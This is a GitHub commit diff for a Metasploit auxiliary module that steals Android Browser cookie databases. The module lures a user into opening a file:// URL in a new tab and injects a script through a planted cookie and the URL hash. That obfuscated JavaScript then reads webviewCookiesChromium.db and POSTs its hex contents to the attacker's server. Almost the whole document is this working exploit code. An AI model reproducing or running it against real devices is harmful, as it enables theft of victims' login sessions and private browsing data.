Skip to content

Commit 25313b1

Browse files
committed
Use the hash to pass the script.
1 parent 84ea628 commit 25313b1

File tree

1 file changed

+22
-10
lines changed

1 file changed

+22
-10
lines changed

modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb

Lines changed: 22 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,13 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/exploit/jsobfu'
78

89
class Metasploit3 < Msf::Auxiliary
910

1011
include Msf::Exploit::Remote::HttpServer::HTML
1112
include Msf::Auxiliary::Report
13+
include Msf::Exploit::JSObfu
1214

1315
def initialize(info={})
1416
super(update_info(info,
@@ -38,7 +40,7 @@ def initialize(info={})
3840
register_options([
3941
OptString.new('COOKIE_FILE', [
4042
true,
41-
'The cookie file to steal. This is "webview.db" on some devices.',
43+
'The cookie file on the device.',
4244
'webviewCookiesChromium.db'
4345
])
4446
], self.class)
@@ -49,6 +51,9 @@ def on_request_uri(cli, request)
4951
print_status("Processing exfilrated files...")
5052
process_post(cli, request)
5153
send_response_html(cli, '')
54+
elsif request.uri =~ /\.js$/i
55+
print_status("Sending exploit javascript")
56+
send_response(cli, exfiltration_js, 'Content-type' => 'text/javascript')
5257
else
5358
print_status("Sending exploit landing page...")
5459
send_response_html(cli, landing_page_html)
@@ -79,21 +84,21 @@ def landing_page_html
7984
<html>
8085
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
8186
<body style='width:100%;font-size: 16px;'>
82-
<a href='file://#{cookie_path}'>
87+
<a href='file://#{cookie_path(datastore['COOKIE_FILE'])}##{Rex::Text.encode_base64(exfiltration_js)}'>
8388
Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
8489
</a>
8590
<script>
86-
document.cookie='#{per_run_token}=<script>eval(atob("#{Rex::Text::encode_base64(exfiltration_js)}"))<\\/script>';
91+
#{inline_script}
8792
</script>
8893
</body>
8994
</html>
9095
|
9196
end
9297

9398
def exfiltration_js
94-
%Q|
99+
js_obfuscate %Q|
95100
var x = new XMLHttpRequest();
96-
x.open('GET', './#{datastore['COOKIE_FILE']}');
101+
x.open('GET', '');
97102
x.responseType = 'arraybuffer';
98103
x.onreadystatechange = function(){
99104
if (x.readyState == 4) {
@@ -103,32 +108,39 @@ def exfiltration_js
103108
return (c.length < 2) ? '0'+c : c;
104109
}).join('');
105110
var x2 = new XMLHttpRequest();
106-
x2.open('POST', '#{backend_url}');
111+
x2.open('POST', '#{backend_url}/');
107112
x2.setRequestHeader('Content-type', 'text/plain');
108113
x2.send(hex);
109114
}
110115
};
111116
x.send();
117+
112118
|
113119
end
114120

115-
def cookie_path
116-
'/data/data/com.android.browser/databases/' + datastore['COOKIE_FILE']
121+
def inline_script
122+
%Q|
123+
document.cookie='#{per_run_token}=<script>eval(atob(location.hash.slice(1)))<\\/script>';
124+
|
125+
end
126+
127+
def cookie_path(file='')
128+
'/data/data/com.android.browser/databases/' + file
117129
end
118130

119131
def backend_url
120132
proto = (datastore["SSL"] ? "https" : "http")
121133
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
122134
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
123-
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}"
135+
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH'].gsub(/^\//, '')}"
124136
end
125137

126138
def hex2bin(hex)
127139
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
128140
end
129141

130142
def per_run_token
131-
@token ||= Rex::Text.rand_text_alpha(rand(5)+3)
143+
@token ||= Rex::Text.rand_text_alpha(rand(2)+1)
132144
end
133145

134146
end

0 commit comments

Comments
 (0)